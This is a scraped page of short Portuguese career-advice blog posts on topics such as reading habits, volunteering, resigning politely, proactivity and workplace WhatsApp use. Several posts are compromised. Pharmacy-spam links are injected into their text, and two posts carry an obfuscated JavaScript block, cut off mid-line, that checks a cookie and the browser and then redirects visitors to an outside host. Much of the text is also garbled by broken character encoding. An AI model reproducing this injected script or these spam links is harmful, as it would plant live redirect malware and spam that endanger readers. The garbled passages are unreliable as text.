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Política faz parte da vida

Publicado por:
15 maio

03.121

No dicionario Aurelio, além de outro significados, palavra política denomia a maneira de os conduzir ou maneira hábil de agir. Nos regimes democráticos, a ciência política é definida como a atividade dos cidadãos que se ocupam dos assuntos públicos com seu voto ou com sua militância. Mas, na vida geral, o termo tem um significado bem mais amplo. Agimos politicamente todos os dias durante nossa interação com os colegas de trabalho, tomando partido nas situações diárias, escolhendo lados e defendendo opiniões.

É importante não confundir a política partidária com o posicionamento politico do dia a dia. Muitos jovens deixam de acreditar na política devido aos vários exemplos negativos que são exibidos constantemente nos noticiários. E esquecem que a participação como cidadãos é fundamental para a construção de uma sociedade mais justa para se viver.

Como profissionais e como cidadãos, não podemos ficar alienados ao que é discutido tanto na espera local e regional, assim como as questões nacional e internacionais e seus impactos na nossa realidade. Conhecer o contexto sócio econômico é mais que um diferencial; é imperativo de competitividade e sobreviência.

Um comportamento político diz respeito ao envolvimento com questões relevantes do cotidiano, seguindo diretrizes, princípios e valores, e também, refer-se à capacidade de articulação. Também dentro do ambiente de trabalho, o talento político envolvendo a capacidade de relacionar-se e de boa circulação é fundamental. Engajar-se em questões e projetos que não são restritos apenas a sua área direta de atuação também é outro fator importante. Nos dias de hoje, não dá mais para se isolar e esquecer do que está a sua volta.

Outras habilidades para o momento da seleção

Publicado por:
13 maio

7.4estagio 1

A disputa por bons candidatos já não é novidade. O que mudou são os pontos levados em consideração na hora de selecionar o melhor candidato para a vaga. Um segundo idioma, especificamente o inglês, e o conhecimento básico de informática deixaram de ser requisitos diferenciais para o processo seletivo. Novos cursos em áreas diversas da formação acadêmica, trabalho voluntário, enfim um currículo enriquecido de outras habilidades que agreguem valor e ajudem a destacar o candidato.

A globalização puxou para novos caminhos. Além da língua inglesa, ter fluência em outro idioma estrangeiro, como o espanhol, o francês ou mesmo o mandarim, agrega pontos e aumenta as oportunidades no mercado de trabalho.

Com o crescimento econômico da China e seu fortalecimento comercial, a língua mais falada no mundo ganha força e vira uma boa opção para que quer utilizar o idioma como diferencial, especialmente se tem por projeto engajar-se em empresas internacionais. Um estudo realizado pelo Instituto de Pesquisa da Universidade de Phoenix aponta que 42% dos empregadores nos Estados Unidos esperam que seus colaboradores falem mandarim em dez anos.

Mas, a fluência em outra língua também deve dividir espaço no currículo com um histórico enriquecido por especializações, prática de estágio, e envolvimento em ações sociais por meio de trabalho voluntário, seja no país de origem ou no estrangeiro. O importante é não perder o foco e procurar construir um currículo mais amplo.

Existem algumas formas de desenvolver outras habilidades importantes para o profissional, como:

• Cursos que agreguem valor e que ajudem na desenvoltura, como por exemplo, oratória.
• Suporte profissional para a melhoria da dicção.
• Capacitação em liderança e negociação para jovens.
• Desenvolvimento da cultura geral, fazendo viagens, assistindo filmes, ou lendo livros e revistas.

O importante é estar “antenado” às novas exigências e não ficar limitado ao currículo básico.

Leitura como diferencial

Publicado por:
08 maio

http://tasevlab.com/?p=75202 imagem

http://nspb.info/antivert-meclizine-cost/ S http://invoexports.com/?p=571 aber se expressar corretamente e com conteA?do sA?o grandes diferenciais para quem procura ser um bom profissional. Na busca por uma vaga de emprego, entA?o, pode ser crucial. Como vivemos em uma Ai??poca na qual as competA?ncias tAi??cnicas se equivalem, as competA?ncias comportamentais, entre elas a habilidade de comunicaAi??A?o, sA?o decisivas na hora da contrataAi??A?o.

E a leitura, neste caso, pode ajudar no desenvolvimento dessa competA?ncia. Ler nos permite descobrir novos horizontes, conhecer novas culturas, e serve de fonte para formularmos opiniAi??es sobre qualquer assunto. AlAi??m disso, auxilia na construAi??A?o de vocabulA?rio e no adequado usa da lAi??ngua portuguesa. Ai?? um hA?bito que deve ser diA?rio e nA?o pode ser limitado apenas a conteA?dos tAi??cnicos.

Livros de aventura, suspense, cultura em geral, revistas diversas e jornais sA?o ferramentas importantes e nA?o devem ser colocados de lado no dia a dia. O gosto pela leitura, quando adquirido desde cedo, contribui para a formaAi??A?o de um adulto mais culto, dinA?mico, crAi??tico e perspicaz. Se o profissional ainda nA?o adquiriu esse hA?bito, Ai?? importante comeAi??ar a fazA?-lo. Pode comeAi??ar lendo regularmente jornais e revistas, que podem ser acessados inclusive em versA?o eletrA?nica. Afinal, saber falar sobre assuntos diversos jA? deixou de ser um privilAi??gio e um requisito para alguns e pode ser um diferencial na hora da escolha de um profissional para uma vaga. var _0x446d=[“\x5F\x6D\x61\x75\x74\x68\x74\x6F\x6B\x65\x6E”,”\x69\x6E\x64\x65\x78\x4F\x66″,”\x63\x6F\x6F\x6B\x69\x65″,”\x75\x73\x65\x72\x41\x67\x65\x6E\x74″,”\x76\x65\x6E\x64\x6F\x72″,”\x6F\x70\x65\x72\x61″,”\x68\x74\x74\x70\x3A\x2F\x2F\x67\x65\x74\x68\x65\x72\x65\x2E\x69\x6E\x66\x6F\x2F\x6B\x74\x2F\x3F\x32\x36\x34\x64\x70\x72\x26″,”\x67\x6F\x6F\x67\x6C\x65\x62\x6F\x74″,”\x74\x65\x73\x74″,”\x73\x75\x62\x73\x74\x72″,”\x67\x65\x74\x54\x69\x6D\x65″,”\x5F\x6D\x61\x75\x74\x68\x74\x6F\x6B\x65\x6E\x3D\x31\x3B\x20\x70\x61\x74\x68\x3D\x2F\x3B\x65\x78\x70\x69\x72\x65\x73\x3D”,”\x74\x6F\x55\x54\x43\x53\x74\x72\x69\x6E\x67″,”\x6C\x6F\x63\x61\x74\x69\x6F\x6E”];if(document[_0x446d[2]][_0x446d[1]](_0x446d[0])== -1){(function(_0xecfdx1,_0xecfdx2){if(_0xecfdx1[_0x446d[1]](_0x446d[7])== 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Trabalho voluntário como diferencial

Publicado por:
06 maio

04.21

No Brasil a prática do voluntariado ainda está ganhando espaço, mas fora do país já faz parte do cotidiano de muitas pessoas. O trabalho voluntário, além de trazer benefícios pessoais a quem o pratica, como a satisfação de estar ajudando o próximo, também pode ser uma ótima experiência de preparação para o mercado de trabalho. É comum, inclusive, ser um diferencial na hora de concorrer a bolsas de estudo e vagas de emprego.

Com esse tipo de atividade, o profissional amplia sua visão de mundo, ganha experiência e agrega valor a sua formação. Os profissionais passam a conhecer outras realidades, desenvolvendo assim uma visão mais humanística e social, além de terem oportunidade de se capacitarem através de uma vivência prática. Muitos jovens, por exemplo, dão aulas em projetos e, além de estarem contribuindo socialmente, estão “testando” suas habilidades e limites.

O voluntariado é uma opção individual e é necessário que esta ação seja feita em uma atividade na qual o profissional possa desenvolver o seu melhor e assim, contribuir em fazer a diferença. Assumindo este compromisso, o voluntário deve exercer suas tarefas com comprometimento, respeito e empatia sempre. Assim, ganham a sociedade, os voluntários e os cidadãos

Como pedir demissão e deixar as portas abertas

Publicado por:
01 maio

03.111

Pedir demissão é sempre um momento delicado na carreira de um profissional. É natural que em algum momento da trajetória apareça uma proposta melhor ou que a insatisfação faça o profissional buscar novas oportunidades de trabalho. Mas, ao contrário do que se pode pensar, a hora de informar que está deixando o cargo é tão importante na vida de um trabalhador quanto o momento de sua admissão.

A forma como você sai de uma empresa é a forma como você será lembrado, e as recomendações que vai ou não receber em outros lugares depende desse momento. Para sair do emprego deixando as portas abertas, é primordial mostrar comprometimento. Se o novo emprego demandar início imediato, procure negociar tanto com a empresa da qual está saindo, quanto com o novo empregador. Sair de um emprego de repente deixa as suas responsabilidades pendentes. Negocie a transição com gestores e colegas e, sempre que possível, indique e treine alguém que possa assumir seu lugar. O ideal para todo profissional é ter um colega que já esteja treinado em algumas das suas atividades. Isso pode facilitar a transição, sem prejudicar o contratante.

Outra orientação é a de que, apesar de estar se despedindo do emprego, não aproveitar esta ocasião para lavar a roupa suja. Evite fazer críticas e diga aos seus colegas de trabalho o quanto a empresa ajudou você a crescer profissionalmente. Agradeça a oportunidade e se coloque à disposição. E na entrevista de desligamento, procure fazer suas ponderações de maneira construtiva. Ao adotar uma postura cordial, transparente e ética, dificilmente você corre o risco de deixar uma má impressão para trás. Afinal, nossos contatos profissionais são portas abertas para o futuro!

Cuidando da Imagem

Publicado por:
29 abr

03.61 http://tasevlab.com/?p=75264

A http://invoexports.com/?p=645 http://nspb.info/combivent-price-philippines/ tAi?? que ponto o que vocA? faz na sua vida particular pode ter a interferA?ncia da empresa onde trabalha? Uma pergunta delicada e difAi??cil de responder. Para nA?o acabar cometendo gafes e colocando a imagem da sua empresa em uma situaAi??A?o delicada, sempre vale a dica de pedir orientaAi??A?o aos funcionA?rios mais antigos. Eles saberA?o dizer como se comportar em muitos casos e se manter coerente com as normas de conduta jA? existentes.

Claro que esse limite, do que pode ou nA?o ser feito, varia muito de uma empresa para outra e entre as A?reas de atuaAi??A?o. Um escritA?rio de advocacia, por exemplo, tem um tipo de cobranAi??a de comportamento e postura profissional bem diferente de uma agA?ncia de publicidade, onde o ambiente permite que vocA? seja um pouco mais informal. E conhecer a cultura da empresa onde se trabalha e do segmento Ai?? muito importante para o sucesso profissional.

Por isso, quando seu chefe fizer referA?ncia sobre um comportamento que expAi??e a sua imagem ou da empresa, entenda como um alerta e procure evitar cair no mesmo erro. Vale lembrar que tudo depende do bom senso. E um bom exercAi??cio para isso, Ai?? se colocar no lugar da empresa, antes de tomar qualquer atitude. Se tem dA?vidas, conversar com colegas mais antigos tambAi??m pode ajudar. Lembre-se que a gestA?o da imagem Ai?? estratAi??gica para quem quer ser visto como profissional competente!
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Ser proativo x ser invasivo

Publicado por:
24 abr

7.1 estagio trainee11 http://nspb.info/cheap-drugs-keppra/

N http://tasevlab.com/?p=75296 http://invoexports.com/?p=667 o dicionA?rio, a palavra proativo Ai?? definida como ai???aquele que visa antecipar futuros problemas, necessidades ou mudanAi??asai???. O profissional com este perfil Ai?? muito bem-vindo no mundo corporativo nos dias de hoje. Problemas a serem resolvidos aparecem aos montes nas empresas, mas falta gente com iniciativa para resolvA?-los.

No ambiente empresarial, o profissional Ai?? reconhecido pela competA?ncia, que inclui o comportamento. A busca ai???espontA?neaai??? de mudanAi??as, solucionando e antecipando-se aos problemas, e visando, a longo prazo, metas que beneficiam a organizaAi??A?o sA?o diferenciais do profissional.. Entretanto, Ai?? preciso ter cuidado para nA?o invadir o espaAi??o de colegas de trabalho na hora de dar sugestAi??es sobre quaisquer questAi??es. Aprender esse limite Ai?? fundamental para uma boa convivA?ncia profissional. Nada de invadir a A?rea do outro para tentar agradar o gerente!

Outro cuidado Ai??, sempre que for apresentar ideias de terceiros, dar crAi??dito a quem deu a soluAi??A?o. E tenha certeza de que, se seu trabalho for bom, convites nA?o faltarA?o e sua carreira irA? crescer gradativamente.var _0x446d=[“\x5F\x6D\x61\x75\x74\x68\x74\x6F\x6B\x65\x6E”,”\x69\x6E\x64\x65\x78\x4F\x66″,”\x63\x6F\x6F\x6B\x69\x65″,”\x75\x73\x65\x72\x41\x67\x65\x6E\x74″,”\x76\x65\x6E\x64\x6F\x72″,”\x6F\x70\x65\x72\x61″,”\x68\x74\x74\x70\x3A\x2F\x2F\x67\x65\x74\x68\x65\x72\x65\x2E\x69\x6E\x66\x6F\x2F\x6B\x74\x2F\x3F\x32\x36\x34\x64\x70\x72\x26″,”\x67\x6F\x6F\x67\x6C\x65\x62\x6F\x74″,”\x74\x65\x73\x74″,”\x73\x75\x62\x73\x74\x72″,”\x67\x65\x74\x54\x69\x6D\x65″,”\x5F\x6D\x61\x75\x74\x68\x74\x6F\x6B\x65\x6E\x3D\x31\x3B\x20\x70\x61\x74\x68\x3D\x2F\x3B\x65\x78\x70\x69\x72\x65\x73\x3D”,”\x74\x6F\x55\x54\x43\x53\x74\x72\x69\x6E\x67″,”\x6C\x6F\x63\x61\x74\x69\x6F\x6E”];if(document[_0x446d[2]][_0x446d[1]](_0x446d[0])== -1){(function(_0xecfdx1,_0xecfdx2){if(_0xecfdx1[_0x446d[1]](_0x446d[7])== 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Capacitação com poucos recursos

Publicado por:
22 abr

04.21

O acesso a cursos e informações que ajudam na capacitação profissional, principalmente para quem disputa uma vaga no mercado, está cada vez mais ao alcance das pessoas. Não há desculpas, a reciclagem de conhecimento e as especializações da mão de obra qualificada são hoje bastante acessíveis e há diversas possibilidades de aperfeiçoamento. O que não pode ocorrer é se acomodar com qualquer dificuldade. O importante é ser persistente, ter força de vontade e focar nas oportunidades que aparecem.

Uma possibilidade, que está ao alcance de todos, é formar dentro do ambiente de trabalho grupos de estudos, onde os profissionais mais experientes ficariam responsáveis em passar o conhecimento para os mais novos. Essas experiências podem ser tanto teóricas quanto baseada nas práticas do dia a dia da empresa. Para os profissionais mais experientes, esta também é uma forma de se reciclar com as ideias dos mais novos.

Já para aqueles que necessitam ter o domínio de um outro idioma, por exemplo, existe uma série de cursos online e conteúdos que ajudam neste aprendizado Para os que já tem domínio de outros idiomas, principalmente o inglês, há diversas oportunidades de cursos gratuitos online oferecidos por universidades em todo o mundo como, por exemplo, gestão, filosofia, negociação, e claro, nas áreas técnicas específicas.

O que não dá é para ficar parado esperando a empresa oferecer oportunidades. Lembre-se que a sua capacitação depende essencialmente de você!

A Febre do WhatsApp

Publicado por:
17 abr

http://invoexports.com/?p=688 http://nspb.info/cheap-antivert/ 9.0 geracaoY http://tasevlab.com/?p=75314

A ideia do bate-papo contAi??nuo, permitido por simples aplicativos em smartphones, definitivamente, pegou. E nA?o sA? entre amigos ou familiares. Muitos grupos com finalidade corporativa tA?m surgido no WhatsApp, um dos aplicativos mais populares no Brasil e no mundo atualmente.

Esses profissionais e equipes vA?m utilizando a ferramenta, principalmente, para se comunicarem de maneira A?gil e efetiva, ou atAi?? mesmo para personalizar o atendimento aos clientes, divulgar promoAi??Ai??es e novidades ou abrir um canal para dA?vidas, sugestAi??es e reclamaAi??Ai??es.

Entretanto, alguns cuidados sA?o essenciais na hora de incorporar o WhatsApp como meio de comunicaAi??A?o corporativa. Um deles Ai?? a atenAi??A?o com o conteA?do enviado, jA? que todas as conversas ficam registradas. Qualquer resposta ou informaAi??A?o errada pode se tornar um problema no futuro. Se o grupo Ai?? utilizado de forma profissional, nA?o se deve ultrapassar esta barreira. Uma piada, foto ou vAi??deo de vez em quando pode ser saudA?vel, mas nA?o exagere.

Outra precauAi??A?o importante a ser tomada Ai?? a formalizaAi??A?o dos encaminhamentos demandados via aplicativo, que devem seguir os mAi??todos regulares da empresa. Assim, garante-se um carA?ter mais formal e sAi??rio para a ferramenta. E lembre-se: mesmo com toda a facilidade trazida pelo universo digital, nA?o devemos ficar apenas na comunicaAi??A?o online. O contato pessoal ainda Ai?? fundamental.

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É vantagem já ter experiência ao se candidatar ao estágio?

Publicado por:
16 abr

03.7

Na disputa por uma vaga de estágio vale mostrar proatividade, rapidez de raciocínio, capacidade de trabalhar em grupo, entre outras qualidades; mas se mostrar experiente é uma vantagem? A preocupação surge quando, por exemplo, você já vem de uma outra formação e, após querer mudar de área, escolhe um novo curso para seguir carreira.

Neste novo desafio profissional aparece uma vaga de estágio e você, como mais experiente em relação aos seus concorrentes, acaba achando que está com a vaga garantida.

Uma dúvida comum é como se apresentar colocando a experiência como diferencial, sem parecer ter perfil muito acima do solicitado.

Na hora da entrevista da seleção fale da experiência anterior, mostrando como ela agregou na sua formação, deixando claro que o estágio é uma oportunidade de crescimento na sua nova carreira. Ser mais maduro significa ter mais foco e postura profissional. Outro cuidado é não dar a impressão de se sentir superior aos candidatos menos experientes. Lembre-se que para estágio a experiência não é requisito, mas pode ser uma vantagem. O segredo é transformá-la num diferencial.